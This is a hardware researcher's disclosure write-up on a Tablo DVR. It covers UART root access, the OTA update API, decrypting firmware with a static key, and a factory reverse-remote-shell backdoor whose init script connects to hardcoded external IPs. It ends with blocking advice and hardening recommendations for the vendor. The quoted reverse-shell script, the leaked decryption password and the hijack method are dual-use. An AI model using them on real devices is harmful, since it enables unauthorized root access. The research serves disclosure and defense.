Recently I had a Tablo Dual Lite OTA DVR appliance fall into my hands from a family member after its wireless started to act up. Doing what I do best, I decided to tear it apart and figure out how it works and in doing so found a few methods to gain root access into the stock firmware. One thing I did not expect to find, however, is an engineering backdoor that could be hijacked to provide an easy method for root access.
Teardown
Teardown of the device is quite straight forward. Remove the 4 rubber feet on the bottom, the screws under them, and then the top comes off. From there just continue to remove the 4 screws holding the PCB in, and remove the heatsink & RF shield to reveal the full PCB.
Additional photos can be found at https://imgur.com/a/M1el3wP
In good news, the header on the left (seen with a header already soldered) provides us with a UART interface. The pinout is as follows:
Specs
Overall this device has semi-decent hardware given its footprint, even if it’s a bit unique.
- Pixelworks XCode 5516 (ARC) CPU
- 2x Nanya Technology NT5CB128M16IP-EK DRAM (512MB total)
- Kingston Technology EMMC08G-M325-X01U NAND (3.6GB total)
- GigaDevice GD25Q16C SPI NOR (2MB)
- 10/100 Ethernet
- 1x USB 2.0 Controller
There’s some strange details in the specs, such as the RAM and NAND. For example, while the device has 512MB of RAM, only 122MB~ is allocated for Linux. This is seen in the boot log of the device.
[ 0.000000] Memory: 122600K/524296K available (4529K kernel code, 131K rwdata, 696K rodata, 112K init, 234K bss, 401696K reserved)
It also seems that while the EMMC is an 8GB, it’s reporting only 3.6GB to U-Boot and the Linux kernel. I assume it’s somehow over-provisioned for wear leveling, but that is just an assumption that I can not validate.
An example boot log from the device can be found on GitHub Gist at https://gist.github.com/riptidewave93/90d4c048702489e24009f2ca76216db6
In the above boot log, you can see there is no type of signature check being done on the kernel or rootfs, which means with GPL source you could run your own firmware using the stock bootloader.
Root via UART
For some extra fun, when you wire into UART both U-Boot and the Firmware allow access without any password or restriction. Below you can find the UART output.
Hit any key to stop autoboot: 0
Nuvyyo>
Nuvyyo> printenv
hostname=gii
bootfile=uImage_gz_nuvyyo
loadaddr=0x3000000
bootdelay=1
bootdevice=0
autostart=yes
Board_ID=0x3201
ipaddr=192.168.1.254
serverip=192.168.1.202
gatewayip=192.168.1.1
netmask=255.255.255.0
ethact=eth0
ethaddr=XX:XX:XX:XX:XX:XX
eth0_reset_pin=4
current_active=0
bootcmd=mmc read 3000000 800 2000; bootm
bootargs=root=/dev/mmcblk0p4 rw rootwait
stdin=serial
stdout=serial
stderr=serial
Environment size: 396/2044 bytes
Nuvyyo>
As for the Firmware, wait for Linux to fully boot and you should be greeted with a root prompt. If your device has not been setup and isn’t wired via ethernet, you will need to wait for it to broadcast as an AP for setup, then press Ctrl-C on the CLI to drop into a root shell.
...
starting pid 813, tty '': '/tmp/slip/bin/nv_reset_poll'
starting pid 814, tty '': '/tmp/slip/bin/slip -d 4'
db_objects.cpp:159: SlipDB() DBUtil::SlipDB pid 814 this=0x221da4 now Sat Dec 3 17:15:56
# whoami
root
#
OTAs
The OTA check process is done by the main binary on the device, called slip
. When OTA checks are done, a POST is done to the endpoint https://api.tablotv.com/assocserver/chkversion/ with a JSON payload that includes the mac address of your device (SID), as well as the current version number. You can do an example call to the OTA endpoint using a CURL call similar to below:
$ curl -X POST -d '{ "sid": "SID_5087B8000000", "version": { "major": 2, "minor": 2, "build": 42, "rc": 2225809 } }' -H "Content-Type: application/json" https://api.tablotv.com/assocserver/chkversion/
{"success": true, "current": true}
If you change the build number to be older than the latest, you will get back a JSON payload response with a URL to download the latest OTA, as well as update notes. An example of this response can be found below:
{"success": true, "current": false, "update": {"version": {"major": 2, "minor": 2, "build": 42, "rc": 2225809}, "url": "http://imgsrv.tablotv.com/payloads/giv/2.2.42-2225809_giv.flash", "notes": "Release Notes for Tablo Firmware Update 2.2.42\r\n\r\n\u2022 Improvements for Tablo Connect setup via iOS and tvOS\r\n\u2022 Improvements to ensure subscription status retention in the event of back-end server outages\r\n\u2022 Bug fixes and performance improvements\r\n\r\nThe privacy policy regarding the device and viewing data your Tablo DVR shares with us has been updated. See www.tablotv.com/privacy for details.\r\n\r\nNOTE: Post-upgrade database processes (if needed) may take several minutes to complete. During this time the LED will be blinking. Do not power down the Tablo until the LED is solid again.", "name": "2.2.42-2225809_giv.flash", "size": 25740373, "date": "2022-09-15 14:32:14+00:00"}}
The actual OTA file itself, 2.2.42-2225809_giv.flash
, is AES encrypted with AESCrypt. It can be decrypted using the static password that was found in /usr/bin/nv_swupgrade
.
AesCrypt -o 2.2.42-2225809_gii.tar.gz -p Jet3144stream -d ./2.2.42-2225809_gii.flash
tar xvf 2.2.42-2225809_gii.tar.gz
Once extracted, you will have a copy of the rootfs, kernel, and u-boot binary you can inspect/go through.
Engineering Backdoor and how to hijack it
In my research I found that during startup an init script was failing, specifically /etc/init.d/S41rrs
.
The contents of this file were kind of concerning, as it’s a script that starts up a tool called rrs, which is Reverse Remote Shell. In this script, there is a default IP/Port set, and a call out to an external tool to override this default.
...
IP=72.142.116.106
PORT=25001
...
start() {
...
rrsq=`nv_rrsq`
if [ $? -eq 0 ]; then
IP=`echo ${rrsq} | nv_json -q ip`
PORT=`echo ${rrsq} | nv_json -q port`
fi
/usr/sbin/rrs -Dq -R5 -t5 $IP $PORT
echo "OK"
}
...
Notice the flags rrs
is using, which based on the help info for rrs
, means that it’s running as a daemon quietly, with an infinite reconnect attempt, 5 second timeout, direct to the IP and Port without any encryption or obfuscation!
I also took a peek at /home/default/bin/nv_rrsq
, and it was found this service opens a socket to 3.93.161.222:5012
and would send a SID payload, similar to the OTA check. The socket will then reply with an IP and Port for the device to open a connection to. The best part is it’s all plain text, and there’s no encryption or obfuscation, just like rrs
!
Back to /etc/init.d/S41rrs
, thankfully it does not have the execute bit set by default, but in searching the file system it was found 2 different binaries have the ability to enable/start this service.
# grep -ra "S41rrs" /home
/home/default/bin/slip:chmod 0755 /etc/init.d/S41rrs
/home/default/bin/slip:/etc/init.d/S41rrs start
/home/default/bin/nv_reset_poll:pkill -x rrs; sh /etc/init.d/S41rrs start > /dev/null
Due to the complexity of the slip
binary I have been unable to determine how it can be used to trigger rrs
, but I assume it’s based on a message or command sent from Tablo directly. However, the nv_reset_poll
is more interesting as this is the polling binary that watches the reset button on the device.
Because of this, with some Hairpin NAT configuration on your network, you can have a root shell opened up on the Tablo device by just pressing the reset button in a specific pattern!
I have released a tool with instructions at https://github.com/riptidewave93/tablo-rrs-hijack that can be used to gain a root shell.
Conclusion
Overall, this Tablo device is surprisingly open which is good for research. However, I have major concerns with the fact Engineering backdoors are being put into the consumer firmware for all devices. If you want to disable rrs
from being able to be used, your best bet is to block the following IP/port combos.
- 3.93.161.222:5012
- 72.142.116.106:25001
Just note that blocking these will only work as of the latest firmware of 2.2.42-2225809, and at any point an OTA could be pushed out that changes these endpoints.
For Tablo/Nuvyyo
First off, thank you for providing such a unique appliance to the market. I know a few folks who use their Tablo daily and really appreciate how it’s subscription free and just works. As for the firmware stack, I have a few recommendations that I would like to see implemented to help harden the device:
- OTA update downloads, even if AES encrypted, should not be done over HTTP. This can allow for MITM attacks if the structure of the OTA update is known (which it is).
- PLEASE remove
rrs
completely from the production firmware image. If you need to troubleshoot a device in the field, push it a debug firmware via your OTA system. These types of backdoors should not be on every device! - Both
rrs
andnv_rrsq
should NOT be doing plain text sockets. Both should be doing SOME type of encryption (ex, Twofish encryption forrrs
, and SSL fornv_rrsq
), or preferred, please see my previous recommendation of just removing them. PLEASE. - Maybe don’t use swap on an EMMC partition, as this is how you thrash your storage. ZRam is a good alternative for embedded devices like this.